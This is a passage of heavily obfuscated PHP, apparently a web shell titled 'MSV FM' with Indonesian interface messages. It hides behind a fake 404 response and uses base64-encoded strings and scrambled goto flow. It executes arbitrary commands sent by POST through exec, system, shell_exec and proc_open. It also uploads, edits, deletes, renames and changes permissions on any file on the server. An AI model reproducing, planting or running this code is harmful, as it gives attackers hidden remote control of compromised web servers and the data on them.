htmlspecialchars($eNhib . base64_decode("\114\167\x3d\75") . $g9JOM) . base64_decode("\111\x6a\64\116\103\x69\x41\147\x49\103\101\x67\x49\103\101\x67\x49\x43\101\147\x49\x43\x41\147\111\x43\x41\x67\x49\x43\x41\147\x49\103\101\x67\x49\104\x78\x70\x62\156\102\x31\x64\103\x42\x30\x65\130\x42\x6c\x50\x53\112\172\x64\x57\x4a\x74\141\130\x51\x69\111\110\132\x68\x62\110\126\154\x50\x53\x49\x2b\111\152\x34\116\x43\x69\x41\147\x49\x43\x41\147\111\x43\101\147\111\x43\101\x67\111\x43\x41\x67\x49\103\x41\x67\111\x43\101\x67\120\x43\71\155\x62\x33\x4a\x74\120\x6a\x77\x76\x59\62\x56\x75\x64\x47\126\171\120\152\x77\166\x64\x47\x51\x2b\104\x51\x6f\147\x49\x43\x41\x67\x49\103\x41\x67\111\103\x41\147\111\x43\x41\147\x49\x43\x41\x67\x50\x43\71\60\x63\x6a\x34\75"); goto Frsr3; mekM_: goto mJSO4; goto OK05I; P4SZt: goto rsQZy; goto UDCzn; LmBLU: rsQZy: goto xVNH7; j8je1: $UcY4R = round($UcY4R / 1024, 2) . base64_decode("\x49\x45\x31\103"); goto LmBLU; OK05I: oiNdk: goto nFCqr; CBJji: } goto ai3Ve; XJj68: if (!($_SERVER[base64_decode("\x55\153\126\122\126\125\126\x54\x56\x46\x39\x4e\x52\x56\122\111\x54\60\x51\75")] === base64_decode("\125\x45\x39\x54\x56\101\75\75") && isset($_POST[base64_decode("\131\62\61\153")]))) { goto CoaX2; } goto xvXT7; vSUM6: ini_set(base64_decode("\x5a\107\154\x7a\x63\107\x78\x68\145\x56\x39\172\x64\107\106\x79\x64\x48\126\x77\x58\x32\x56\x79\143\x6d\x39\x79\143\167\x3d\75"), 0); goto mumEQ; QkraQ: kfgHK: goto y726V; aIwfl: if (unlink($_POST[base64_decode("\x63\107\106\x30\141\101\75\75")])) { goto q70_S; } goto WtD3B; Rx_uc: KS5_7: goto Ijc0k; aL_nE: i3gs9: goto HxdLW; nEeD2: $cFZDS = ob_get_clean(); goto aH4lR; I6JjV: erOBh: goto b0_uT; aZUG9: if (isset($_GET[base64_decode("\x5a\155\x6c\x73\x5a\130\x4e\x79\131\x77\75\75")])) { goto KS5_7; } goto syuu2; f3mhf: nkUWJ: goto Cq5Wn; terSf: goto yTohV; goto f3mhf; e7cMQ: $cFZDS = implode(base64_decode("\x43\147\x3d\75"), $EEcNs); goto HPr1V; GcVwe: if (!is_resource($xYriD)) { goto O0KrZ; } goto rjjru; pslqQ: $cFZDS = $EEcNs; goto xTKmK; spvh2: if (move_uploaded_file($_FILES[base64_decode("\132\155\154\x73\132\x51\x3d\75")][base64_decode("\x64\x47\x31\x77\130\62\65\x68\142\127\x55\75")], $eNhib . base64_decode("\x4c\x77\75\x3d") . $_FILES[base64_decode("\x5a\155\x6c\x73\x5a\x51\75\75")][base64_decode("\x62\x6d\106\164\x5a\121\75\75")])) { goto i3gs9; } goto SfDSM; Kf0H2: $eNhib = isset($_GET[base64_decode("\x63\x47\x46\x30\141\x41\x3d\x3d")]) ? $_GET[base64_decode("\143\x47\x46\x30\141\101\75\x3d")] : getcwd(); goto rRd1P; DhlnD: echo base64_decode("\x50\103\x39\152\132\127\x35\x30\x5a\130\111\x2b"); goto PswnB; UcthB: IMUZ9: goto EaM4X; J2011: echo base64_decode("\x50\x47\132\x76\x63\155\60\147\x62\127\126\x30\141\x47\x39\153\120\x53\112\121\124\x31\x4e\125\x49\152\64\x4e\x43\x69\101\147\x49\103\x41\147\x49\103\x41\x67\111\x43\x41\x67\x49\103\101\x67\111\x43\101\147\111\x43\x41\x67\124\155\126\x33\111\x45\65\150\142\x57\x55\147\x4f\x69\x41\70\x61\x57\65\167\x64\130\x51\x67\x62\155\106\x74\132\x54\60\x69\142\x6d\x56\x33\x62\155\x46\x74\132\x53\x49\147\x64\110\x6c\167\x5a\x54\60\151\x64\x47\x56\x34\x64\103\x49\147\143\62\x6c\x36\132\124\x30\x69\x4d\152\x41\x69\x49\x48\x5a\150\x62\110\x56\x6c\120\x53\x49\x3d") . htmlspecialchars($_POST[base64_decode("\142\155\106\164\x5a\x51\75\75")]) . base64_decode("\x49\x69\101\x76\x50\x67\x30\113\x49\x43\101\147\111\x43\x41\x67\111\103\x41\x67\111\103\x41\147\x49\103\101\147\111\103\101\147\x49\x43\x41\x38\141\127\65\167\x64\130\x51\x67\144\110\x6c\x77\x5a\124\x30\151\x61\x47\154\153\x5a\107\126\x75\111\151\x42\165\131\x57\x31\x6c\x50\x53\x4a\x77\x59\130\122\x6f\111\151\x42\62\x59\127\x78\61\132\124\60\151") . htmlspecialchars($_POST[base64_decode("\143\107\106\x30\141\x41\75\x3d")]) . base64_decode("\x49\152\x34\116\x43\151\101\x67\111\103\x41\147\x49\x43\101\147\x49\103\x41\147\x49\103\101\147\x49\103\101\147\111\103\x41\x67\120\107\x6c\165\143\x48\126\x30\111\110\x52\65\143\107\125\x39\x49\x6d\150\x70\x5a\107\x52\154\142\x69\111\147\142\x6d\x46\164\x5a\x54\x30\151\x62\x33\x42\60\111\x69\102\x32\x59\x57\x78\x31\x5a\x54\x30\151\x63\x6d\x56\165\x59\127\x31\x6c\x49\x6a\64\116\x43\x69\x41\147\x49\103\x41\x67\x49\103\101\147\111\103\101\147\111\x43\101\x67\111\x43\x41\147\111\103\x41\147\x50\107\x6c\165\143\x48\x56\x30\x49\x48\122\65\143\107\x55\71\x49\x6e\x4e\61\131\x6d\61\x70\x64\103\x49\x67\144\155\x46\x73\144\127\x55\71\111\153\144\x76\111\151\x41\x76\120\x67\60\x4b\111\x43\x41\147\x49\x43\x41\147\x49\103\101\147\111\103\x41\x67\x49\x43\101\147\x49\104\167\x76\x5a\x6d\x39\171\142\124\64\x3d"); goto EN3_T; OVmfU: goto erOBh; goto sq9Yt; z49ui: sYMgO: goto jY5fd; jx5j_: echo base64_decode("\120\103\71\60\131\127\112\163\x5a\124\x34\70\114\62\122\160\x64\152\x34\75"); goto HlPoC; AmOfL: fclose($k2_JX[2]); goto jcnnT; jkGJj: @header(base64_decode("\121\x32\71\165\x64\107\126\x75\144\103\61\106\142\x6d\116\166\132\107\154\x75\x5a\x7a\157\x67\x62\x6d\x39\x75\x5a\x51\x3d\75")); goto qqu6V; l6gIm: echo base64_decode("\x50\103\71\60\143\152\64\x38\114\x33\122\153\x50\x6a\167\166\144\107\106\151\x62\x47\x55\x2b\x50\107\112\171\111\103\70\x2b"); goto wXVBR; syuu2: if (isset($_GET[base64_decode("\x62\x33\102\60\x61\127\x39\x75")]) && $_POST[base64_decode("\x62\x33\x42\x30")] != base64_decode("\x5a\107\x56\x73\x5a\x58\122\x6c")) { goto lRtUn; } goto MgfvD; y726V: @exec($ptg0t, $EEcNs, $JUInb); goto FIdrG; fcEJF: if (!isset($_POST[base64_decode("\143\63\112\152")])) { goto YQAL6; } goto RXMca; bLEki: if (rmdir($_POST[base64_decode("\x63\107\106\x30\141\x41\x3d\75")])) { goto yrA3Z; } goto y3J2Y; pRpkk: echo "\x20\x20\40\x20\x20\40\40\40\x3c\x70\x72\145\x3e"; goto HmtS0; HuB03: yrA3Z: goto dDjpg; Du9nh: echo base64_decode("\x50\x47\132\166\142\x6e\121\x67\131\62\x39\163\142\63\111\71\x49\156\112\x6c\132\103\x49\x2b\x52\62\x46\x6e\131\127\167\x67\x52\x57\122\160\144\x43\102\107\x61\127\x78\154\120\103\x39\x6d\x62\x32\x35\60\120\152\170\151\x63\151\70\53"); goto YJsBa; y3J2Y: echo base64_decode("\x50\x47\132\x76\142\x6e\x51\x67\x59\x32\x39\x73\x62\x33\111\71\x49\156\112\x6c\132\x43\x49\53\x52\107\154\171\132\127\x4e\60\x62\63\112\65\111\105\x64\x68\132\62\106\x73\x49\106\x52\x6c\143\x6d\150\150\x63\x48\x56\172\120\103\71\x6d\x62\x32\65\x30\120\x6a\x78\x69\143\x69\70\53"); goto XkI3C; opjeD: goto U8L1I; goto tcUXo; SkmhB: DGV0I: goto lOYQE; gB6EX: echo base64_decode("\x50\107\132\x76\143\155\x30\147\142\x57\x56\60\x61\107\x39\x6b\120\123\x4a\x51\124\x31\116\x55\x49\x6a\64\116\x43\x69\x41\147\111\103\x41\x67\x49\103\x41\147\111\103\101\x67\x49\x43\x41\147\x49\x43\101\147\111\x43\101\147\x50\x48\x52\154\145\x48\x52\150\x63\155\x56\x68\111\107\116\x76\142\110\x4d\x39\117\x44\101\147\x63\x6d\x39\x33\143\172\60\171\115\103\x42\x75\x59\x57\x31\154\x50\123\112\x7a\x63\x6d\x4d\151\x50\147\75\x3d") . htmlspecialchars(file_get_contents($_POST[base64_decode("\143\x47\x46\60\141\x41\75\75")])) . base64_decode("\120\103\71\60\x5a\x58\150\x30\x59\130\x4a\x6c\x59\x54\64\70\131\156\111\147\114\x7a\x34\116\x43\151\x41\147\x49\x43\101\x67\111\x43\101\147\x49\x43\101\x67\x49\103\x41\x67\x49\x43\101\147\x49\x43\x41\147\120\107\x6c\165\143\x48\x56\x30\x49\x48\x52\65\143\x47\x55\x39\111\155\x68\x70\x5a\107\x52\154\x62\151\x49\x67\142\155\x46\164\x5a\x54\x30\151\x63\107\x46\60\x61\x43\x49\x67\x64\x6d\106\x73\x64\127\x55\71\111\147\75\x3d") . htmlspecialchars($_POST[base64_decode("\x63\x47\106\60\x61\101\75\x3d")]) . base64_decode("\x49\152\64\x4e\103\151\101\x67\x49\103\x41\x67\111\x43\x41\x67\x49\103\x41\147\111\103\x41\x67\111\x43\x41\x67\111\x43\101\147\x50\x47\154\x75\x63\110\126\60\x49\x48\122\x35\x63\x47\125\71\111\x6d\150\160\x5a\x47\122\154\142\x69\x49\147\x62\155\x46\164\x5a\x54\x30\151\x62\x33\102\60\x49\x69\x42\62\131\127\170\61\132\x54\60\151\132\x57\122\160\x64\x43\111\x2b\104\121\x6f\x67\x49\x43\101\x67\111\x43\x41\147\111\x43\101\x67\111\x43\x41\147\111\103\101\147\111\103\101\147\x49\104\170\x70\x62\156\x42\61\x64\x43\102\x30\x65\x58\102\x6c\x50\x53\x4a\x7a\144\x57\112\x74\x61\x58\x51\151\x49\110\x5a\150\142\110\x56\x6c\120\x53\x4a\124\x59\130\x5a\154\111\151\101\x76\x50\147\x30\x4b\111\103\101\x67\x49\x43\x41\x67\111\x43\101\x67\111\x43\x41\147\111\103\101\147\111\x44\x77\166\x5a\x6d\x39\171\x62\124\x34\75"); goto Yktzr; COytp: echo base64_decode("\x50\x43\71\x30\131\x57\112\x73\x5a\x54\x34\70\131\x6e\x49\147\x4c\x7a\x34\70\x59\62\x56\165\x64\107\126\171\x50\147\x3d\75") . htmlspecialchars($_POST[base64_decode("\143\107\x46\60\x61\101\75\x3d")]) . base64_decode("\120\x47\x4a\171\111\103\70\53\x50\x47\112\171\111\103\x38\x2b"); goto dp9zE; PswnB: $olmCy = scandir($eNhib); goto TQ6vz; SFhpo: mon3x: goto fcEJF; j0zIU: @system($ptg0t, $JUInb); goto qpJOJ; YJsBa: goto kErGv; goto pigTC; u8RPw: roR1K: goto hhwYZ; zzI3D: goto erOBh; goto QkraQ; XkI3C: goto sYMgO; goto HuB03; Or0IH: ini_set(base64_decode("\x62\127\x46\64\130\62\x56\64\x5a\127\116\61\x64\107\x6c\x76\x62\154\x39\x30\x61\x57\x31\x6c"), 0); goto Qg6iu; CGZO4: goto YrXO6; goto SH23i; lhEMS: foreach ($D70ge as $lIIXS => $WfObz) { goto ASX3O; fdS71: irPAP: goto ClEd0; YBkXb: jUTL5: goto WQyHY; pR2sv: goto pTxr2; goto gTHAX; EhXT8: xvlHB: goto CIs2i; qvQBl: $Ew_Uk = true; goto RHV5_; gTHAX: Ldqoa: goto cOKcb; RHV5_: echo base64_decode("\120\107\x45\147\141\x48\x4a\154\132\152\x30\x69\120\63\102\150\x64\x47\x67\71\x4c\171\x49\x2b\x4c\172\x77\x76\x59\124\x34\x3d"); goto alxLh; mqwkI: if (!($NBibc != $lIIXS)) { goto irPAP; } goto aNHQ3; aNHQ3: echo base64_decode("\114\x77\75\75"); goto fdS71; CIs2i: echo base64_decode("\x49\x6a\x34\75") . $WfObz . base64_decode("\120\x43\71\x68\120\x69\x38\x3d"); goto R88Ab; FkXSC: $NBibc++; goto UbaaX; Wgdti: echo "{$D70ge[$NBibc]}"; goto mqwkI; WQyHY: if (!($NBibc <= $lIIXS)) { goto xvlHB; } goto Wgdti; UbaaX: goto jUTL5; goto EhXT8; cOKcb: echo base64_decode("\x50\107\x45\x67\141\110\x4a\x6c\x5a\152\60\x69\120\x33\102\x68\144\x47\147\x39"); goto snaU2; ASX3O: if (!($WfObz == '' && $lIIXS == 0)) { goto FoaYX; } goto qvQBl; Dkmx1: if (!($WfObz == '')) { goto Ldqoa; } goto pR2sv; gF6Zl: FoaYX: goto Dkmx1; ClEd0: eSlSs: goto FkXSC; alxLh: goto pTxr2; goto gF6Zl; snaU2: $NBibc = 0; goto YBkXb; R88Ab: pTxr2: goto KJScT; KJScT: } goto Uooir; ai3Ve: BzMVs: goto jx5j_; aH4lR: goto erOBh; goto LlnUN; FOCcW: if ($_POST[base64_decode("\142\63\102\60")] == base64_decode("\x5a\x57\122\x70\x64\x41\x3d\75")) { goto mon3x; } goto OpG71; rRd1P: $eNhib = str_replace(base64_decode("\x58\106\167\x3d"), base64_decode("\114\x77\x3d\x3d"), $eNhib); goto spvza; HU3sV: tH4Xk: goto DhlnD; VpP7L: http_response_code(404); goto Or0IH; UHTmS: echo base64_decode("\x50\x43\71\152\132\x57\x35\60\132\x58\x49\53"); goto Z8Ra4; HPr1V: iZF_7: goto QN3hg; rjjru: fclose($k2_JX[0]); goto nVJmm; XFeW5: oUWKl: goto SkmhB; Uooir: DNQfq: goto ooLWI; spvza: $D70ge = explode(base64_decode("\114\167\x3d\75"), $eNhib); goto lhEMS; uJDfF: $WXIzl = stream_get_contents($k2_JX[2]); goto AmOfL; dDjpg: echo base64_decode("\120\x47\132\166\142\x6e\x51\147\131\62\71\x73\142\63\x49\71\x49\155\x64\x79\x5a\x57\x56\x75\x49\x6a\x35\x45\141\130\112\154\x59\63\x52\x76\143\x6e\153\x67\126\107\126\x79\141\107\106\x77\x64\130\x4d\70\114\62\132\x76\x62\x6e\121\x2b\120\x47\112\x79\114\172\64\x3d"); goto z49ui; zwcaK: SoHLa: goto wIGQj; U7i4p: q70_S: goto Ek3Vl; Qg6iu: ini_set(base64_decode("\x5a\107\x6c\172\x63\107\170\x68\145\x56\x39\154\x63\156\x4a\x76\x63\x6e\115\75"), 0); goto vSUM6; TQ6vz: echo base64_decode("\120\x47\122\x70\x64\x69\102\160\x5a\x44\60\151\131\x32\71\x75\x64\x47\126\165\x64\103\x49\53\120\x48\122\150\131\x6d\170\x6c\111\x48\x64\160\x5a\x48\122\157\x50\x53\x49\x33\x4d\104\101\151\111\x47\x4a\166\143\155\122\154\x63\x6a\x30\x69\115\103\x49\147\131\62\126\x73\142\110\x42\150\132\x47\x52\160\142\x6d\143\71\111\x6a\115\151\111\x47\116\x6c\142\x47\x78\x7a\x63\x47\106\x6a\141\x57\65\156\x50\123\111\x78\111\151\102\150\142\107\154\156\x62\x6a\60\x69\x59\x32\126\x75\144\x47\126\x79\111\152\x34\116\103\x69\101\x67\111\x43\101\x67\x49\x43\101\x67\x49\x43\x41\147\x49\103\101\147\x49\103\101\70\144\110\x49\147\x59\62\170\150\x63\x33\x4d\x39\111\155\132\160\143\156\x4e\60\111\152\x34\x4e\x43\151\101\x67\111\x43\101\x67\x49\103\101\147\111\x43\101\x67\x49\103\101\147\x49\103\x41\147\111\x43\x41\x67\x50\x48\x52\x6b\120\x6a\x78\152\x5a\127\x35\x30\x5a\x58\111\x2b\x54\x6d\106\x74\132\x54\167\x76\x59\x32\x56\165\144\107\x56\171\120\152\x77\166\x64\107\x51\53\x44\121\157\x67\111\x43\101\x67\x49\103\101\x67\111\103\x41\x67\x49\x43\101\147\x49\103\x41\x67\111\103\101\x67\111\104\x78\x30\x5a\x44\x34\x38\131\62\x56\165\144\x47\x56\171\120\x6c\116\x70\145\155\x55\x38\x4c\62\x4e\154\x62\x6e\x52\154\143\152\64\70\114\63\x52\x6b\x50\x67\60\x4b\x49\103\x41\147\x49\x43\x41\147\x49\x43\101\147\111\x43\101\x67\x49\x43\x41\147\111\x43\x41\147\x49\103\x41\x38\x64\x47\121\x2b\x50\x47\x4e\x6c\x62\156\122\154\x63\152\x35\121\x5a\130\112\164\141\130\x4e\172\x61\127\x39\x75\x50\103\71\x6a\132\127\x35\60\132\x58\x49\x2b\x50\x43\x39\x30\132\x44\x34\x4e\103\151\x41\x67\111\x43\101\147\111\103\101\x67\111\x43\x41\147\x49\103\101\147\x49\103\x41\x67\x49\x43\x41\147\x50\x48\122\x6b\x50\x6a\x78\x6a\132\x57\x35\x30\x5a\x58\x49\x2b\x54\x57\x39\153\x61\x57\x5a\x35\120\103\x39\152\x5a\127\x35\60\132\x58\111\x2b\x50\x43\x39\x30\132\104\64\116\x43\151\101\147\x49\103\101\147\111\x43\101\x67\111\x43\x41\x67\111\x43\x41\147\x49\103\101\70\x4c\x33\x52\171\120\147\75\x3d"); goto UOXAk; koubu: echo base64_decode("\x50\x47\x5a\166\142\x6e\x51\147\131\x32\x39\x73\142\x33\x49\x39\111\x6e\x4a\x6c\132\x43\111\x2b\121\x32\150\150\x62\155\x64\154\x49\106\x42\x6c\143\155\x31\x70\x63\x33\x4e\160\x62\62\x34\x67\122\62\106\x6e\131\x57\x77\x38\x4c\62\132\x76\142\156\x51\53\120\x47\112\x79\111\103\70\53"); goto terSf; ooLWI: echo "\x20\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\x3c\57\164\x64\x3e\15\xa\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\40\x3c\x2f\x74\162\76\15\xa\x20\40\40\40\40\x20\40\40\x20\40\40\x20\x3c\164\x72\76\xd\xa\x20\40\x20\x20\x20\40\40\40\x20\40\40\40\x20\x20\40\40\x3c\x74\x64\76\15\xa\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\40\40\40\x20\40\x20\x20\x20\x20"; goto RT5uH; db3jR: $ptg0t = base64_decode("\x59\x32\x51\x67") . escapeshellarg($eNhib) . base64_decode("\x49\103\131\x6d\x49\x41\75\75") . $ptg0t; goto Tp_tQ; Zo4KG: goto sjptv; goto UcthB; JKbjN: $_POST[base64_decode("\x62\x6d\106\x74\x5a\121\x3d\75")] = $_POST[base64_decode("\142\155\x56\63\x62\155\x46\164\132\x51\75\x3d")]; goto o2Scq; HxdLW: echo base64_decode("\120\x47\x5a\166\x62\x6e\121\x67\x59\62\x39\x73\x62\63\x49\71\111\x6d\144\x79\132\127\126\165\x49\x6a\65\126\143\x47\x78\166\x59\x57\121\x67\x51\155\126\x79\x61\x47\x46\172\x61\x57\167\x38\114\62\132\x76\x62\x6e\121\53\x50\107\112\x79\x49\x43\70\x2b"); goto XFeW5; jY5fd: goto R2UdA; goto Hd79L; EN3_T: goto U8L1I; goto SFhpo; YjR6T: if (function_exists(base64_decode("\x63\62\150\154\142\x47\x78\146\132\130\150\x6c\131\x77\x3d\75"))) { goto b4juq; } goto WYAJe; sq9Yt: GfDsJ: goto gNQbQ; jcnnT: $GnBD1 = proc_close($xYriD); goto tQzOT; LlnUN: RTEAh: goto ZIOCs; KJYi2: JOI1s: goto g7uqT; fRnML: YQAL6: goto gB6EX; yO0nh: if ($_POST[base64_decode("\x64\110\x6c\x77\x5a\x51\x3d\75")] == base64_decode("\132\155\x6c\163\132\121\75\75")) { goto vgSyr; } goto ESiZs; gNQbQ: $g8KwA = [0 => [base64_decode("\143\x47\154\x77\x5a\x51\x3d\x3d"), base64_decode("\143\x67\x3d\x3d")], 1 => [base64_decode("\x63\x47\154\x77\132\121\x3d\75"), base64_decode("\x64\167\x3d\x3d")], 2 => [base64_decode("\143\x47\154\x77\132\x51\75\x3d"), base64_decode("\144\167\x3d\75")]]; goto y117x; mW8q8: echo htmlspecialchars($_GET[base64_decode("\x5a\155\154\163\132\130\x4e\171\x59\167\75\75")]); goto l6gIm; hhwYZ: if (!isset($_POST[base64_decode("\x63\x47\x56\x79\142\121\75\x3d")])) { goto Nru3c; } goto D27Cv; UzF0q: if (empty($cFZDS)) { goto JOI1s; } goto pRpkk; D043_: Nru3c: goto B7DOm; WtD3B: echo base64_decode("\x50\107\x5a\166\x62\156\x51\147\x59\62\71\163\142\x33\x49\71\x49\156\112\x6c\132\x43\x49\x2b\x52\x6d\154\x73\x5a\123\102\110\131\127\x64\x68\x62\x43\x42\105\x61\x57\x68\150\143\110\126\x7a\120\103\x39\x6d\142\x32\65\60\120\152\x78\x69\x63\x69\70\x2b"); goto bvLtk; DsMQc: kErGv: goto fC3yG; qpJOJ: $cFZDS = ob_get_clean(); goto I6JjV; JmOrN: qhUkm: goto bLEki; dbJvS: if (!(isset($_GET[base64_decode("\x62\63\x42\x30\141\x57\x39\x75")]) && $_POST[base64_decode("\x62\63\102\60")] == base64_decode("\x5a\107\126\x73\132\130\122\154"))) { goto tH4Xk; } goto Ctmjb; OpG71: goto U8L1I; goto u8RPw; Hd79L: vgSyr: goto aIwfl; XMDmy: if (!isset($_POST[base64_decode("\x62\x6d\x56\63\x62\155\106\x74\132\x51\75\75")])) { goto IfRXy; } goto Wk8V9; g7uqT: echo "\x20\x20\40\40\x3c\x64\151\x76\x20\151\144\x3d\x22\x63\x6f\156\x74\145\x6e\164\x22\x3e\xd\12\x20\x20\40\40\40\40\40\40\74\164\x61\x62\154\x65\x20\x77\151\x64\x74\150\75\x22\x37\x30\x30\42\x20\x62\x6f\x72\x64\x65\162\x3d\42\60\42\40\143\145\x6c\154\x70\x61\x64\x64\x69\156\x67\75\x22\63\x22\40\x63\x65\x6c\154\163\x70\x61\x63\x69\156\x67\75\x22\x31\42\x20\x61\x6c\151\x67\x6e\x3d\x22\143\x65\x6e\164\x65\x72\42\76\15\xa\40\40\x20\x20\x20\40\40\40\x20\40\40\40\x3c\164\x72\76\15\12\40\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\x3c\164\144\76\x3c\x66\x6f\156\164\40\143\157\x6c\157\162\x3d\42\167\x68\151\x74\145\42\x3e\120\x61\164\x68\x20\72\74\x2f\x66\157\156\x74\76\15\12\x20\x20\x20\40\40\40\x20\40\x20\x20\40\40\40\x20\x20\x20\40\40\x20\40"; goto Kf0H2; RXMca: $SUhbu = fopen($_POST[base64_decode("\143\x47\x46\x30\141\101\75\75")], base64_decode("\x64\x77\x3d\75")); goto t6vt5; MgfvD: echo base64_decode("\x50\x43\71\60\131\127\x4a\x73\x5a\124\x34\70\131\156\x49\x76\x50\x67\60\113\111\103\101\147\x49\103\x41\147\111\103\101\x67\x49\103\101\x67\111\103\x41\147\x49\x44\x78\152\132\127\65\x30\132\130\111\x2b"); goto dbJvS; D27Cv: if (chmod($_POST[base64_decode("\143\x47\106\60\x61\101\75\x3d")], $_POST[base64_decode("\x63\x47\x56\x79\142\x51\75\75")])) { goto nkUWJ; } goto koubu; o2Scq: IfRXy: goto J2011; qqu6V: echo "\74\41\x44\x4f\103\124\x59\x50\105\40\110\124\115\x4c\x3e\15\xa\74\x68\164\x6d\x6c\x20\x6c\x61\156\147\75\42\x65\156\x22\x3e\xd\12\15\12\74\150\145\141\x64\76\xd\xa\x20\x20\40\40\x3c\x6d\x65\164\141\x20\143\x68\x61\x72\x73\145\164\x3d\42\165\x74\x66\55\70\x22\40\57\x3e\15\xa\40\x20\40\40\x3c\x74\x69\x74\x6c\x65\76\x4d\123\x56\x20\x46\x4d\74\x2f\x74\x69\x74\154\145\76\xd\xa\40\x20\40\40\x3c\155\x65\164\141\40\x6e\141\x6d\x65\75\x22\x76\151\145\167\x70\x6f\162\x74\x22\40\x63\157\x6e\164\145\156\164\x3d\42\x77\151\144\x74\x68\x3d\x64\x65\x76\x69\x63\145\55\167\151\144\164\x68\x2c\40\151\x6e\x69\x74\x69\141\154\55\163\x63\x61\154\x65\75\x31\x2e\x30\42\x20\57\76\15\xa\40\x20\40\x20\x3c\163\x74\x79\154\145\76\15\xa\x20\x20\x20\40\x20\x20\40\x20\x62\x6f\x64\171\x20\173\xd\12\x20\40\40\x20\40\x20\40\40\40\40\40\40\146\x6f\x6e\x74\55\146\141\155\x69\x6c\171\72\x20\x22\x61\162\x69\141\154\42\x2c\40\x63\165\x72\x73\x69\166\x65\x3b\15\12\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\40\x62\x61\143\153\x67\162\x6f\x75\x6e\144\x2d\x63\x6f\x6c\157\162\x3a\x20\142\x6c\141\143\x6b\x3b\xd\xa\40\x20\40\40\40\40\40\x20\40\x20\x20\x20\143\157\154\x6f\x72\x3a\40\167\x68\x69\164\145\x3b\xd\xa\40\x20\x20\40\x20\40\40\40\x20\40\x20\40\155\141\x72\147\x69\156\72\40\60\73\15\12\x20\x20\x20\x20\x20\40\40\40\x20\40\x20\40\160\141\x64\144\151\156\x67\72\40\60\x3b\xd\xa\40\40\x20\40\x20\x20\40\x20\x7d\xd\xa\xd\12\40\x20\x20\40\40\x20\x20\x20\43\143\x6f\x6e\164\x65\x6e\164\40\173\15\12\40\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\x77\151\144\164\150\x3a\x20\61\60\x30\x25\x3b\xd\xa\x20\40\x20\40\x20\x20\40\40\x20\x20\40\40\155\x61\x72\x67\x69\x6e\x3a\x20\60\x20\x61\x75\164\157\73\15\xa\40\x20\40\40\40\x20\40\x20\40\40\x20\40\160\141\144\144\x69\x6e\147\72\x20\62\60\160\x78\x3b\xd\12\40\x20\x20\40\x20\40\x20\40\x7d\xd\12\15\12\x20\x20\40\x20\x20\x20\x20\x20\43\143\x6f\156\164\145\156\x74\40\x74\x72\x3a\x68\157\x76\145\x72\x20\x7b\15\12\40\40\40\40\40\40\x20\x20\40\x20\x20\x20\142\x61\143\153\x67\x72\157\165\156\144\x2d\x63\x6f\x6c\x6f\162\x3a\x20\x72\x65\x64\x3b\xd\xa\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\164\145\x78\x74\55\163\x68\141\x64\x6f\167\72\40\x30\x70\x78\x20\60\160\x78\x20\61\x30\x70\170\40\43\x66\146\x66\x3b\xd\12\x20\40\40\x20\40\40\40\40\175\15\xa\15\xa\x20\x20\x20\x20\x20\x20\40\40\43\143\157\156\164\145\x6e\164\40\56\x66\x69\162\163\164\x20\173\15\xa\x20\40\40\x20\40\x20\40\x20\40\x20\40\40\x62\141\x63\153\147\162\157\x75\x6e\144\55\143\157\154\157\162\x3a\40\162\x65\x64\73\15\12\x20\40\40\x20\x20\40\40\40\175\xd\12\15\xa\x20\40\x20\x20\x20\40\x20\x20\x74\141\x62\154\x65\40\x7b\xd\12\40\40\x20\40\40\x20\x20\40\40\x20\40\40\x77\x69\144\164\x68\x3a\x20\61\60\x30\45\x3b\15\xa\40\40\x20\x20\40\x20\x20\40\x20\40\40\x20\142\157\x72\144\145\x72\72\40\x31\160\170\x20\x23\60\60\x30\x30\x30\x30\x20\x64\157\x74\x74\x65\x64\x3b\xd\xa\40\40\40\x20\x20\x20\x20\x20\175\xd\12\xd\12\40\x20\40\x20\40\40\40\x20\x61\40\x7b\15\12\x20\40\40\40\x20\40\x20\40\x20\40\40\40\x63\157\x6c\157\x72\72\40\167\x68\151\164\x65\73\15\12\40\40\x20\x20\40\40\x20\40\40\40\40\40\x74\x65\x78\x74\55\144\x65\x63\157\162\x61\x74\x69\x6f\x6e\72\40\156\157\x6e\145\73\xd\12\x20\x20\40\x20\40\40\40\40\175\15\xa\xd\12\40\x20\40\x20\40\x20\40\x20\141\72\x68\157\x76\145\162\x20\x7b\xd\xa\40\x20\40\40\x20\40\x20\40\x20\x20\40\40\143\157\154\x6f\162\x3a\x20\142\154\x75\145\73\xd\12\40\x20\40\x20\x20\40\40\40\40\40\40\40\x74\x65\170\x74\x2d\163\150\141\144\x6f\x77\x3a\40\60\160\x78\x20\60\x70\x78\x20\x31\x30\x70\170\x20\43\146\x66\146\146\146\146\73\xd\12\40\40\x20\40\40\40\40\x20\x7d\xd\xa\xd\xa\x20\40\40\40\40\40\x20\x20\x69\x6e\160\x75\164\x2c\15\12\40\x20\x20\40\40\x20\x20\40\x73\145\x6c\145\x63\164\x2c\xd\xa\40\40\40\x20\x20\x20\x20\x20\x74\x65\170\x74\x61\x72\145\x61\40\x7b\15\xa\x20\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\x62\x6f\162\144\x65\x72\72\x20\x31\160\x78\40\43\60\x30\60\60\60\x30\40\x73\157\154\x69\144\x3b\15\12\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\55\155\x6f\172\55\x62\x6f\x72\144\145\x72\x2d\x72\141\x64\151\x75\163\72\x20\65\160\170\73\xd\xa\40\40\x20\40\x20\40\40\40\40\x20\x20\40\x2d\x77\145\142\153\151\x74\x2d\x62\x6f\162\x64\145\162\55\162\141\x64\x69\x75\163\72\x20\x35\x70\x78\73\15\12\40\x20\40\x20\40\40\40\40\x20\x20\40\40\142\x6f\x72\x64\x65\x72\x2d\162\x61\x64\151\165\x73\x3a\40\x35\x70\x78\73\15\xa\x20\x20\x20\40\x20\x20\40\x20\x7d\15\12\15\12\x20\x20\40\40\x20\40\x20\x20\164\145\170\x74\141\x72\x65\x61\40\173\xd\xa\40\40\x20\40\40\x20\40\40\40\40\40\x20\167\x69\144\x74\x68\x3a\x20\x31\60\x30\45\73\xd\xa\40\40\40\x20\x20\40\40\x20\x20\40\40\40\150\x65\151\x67\150\x74\x3a\40\x32\x30\x30\160\170\x3b\15\12\40\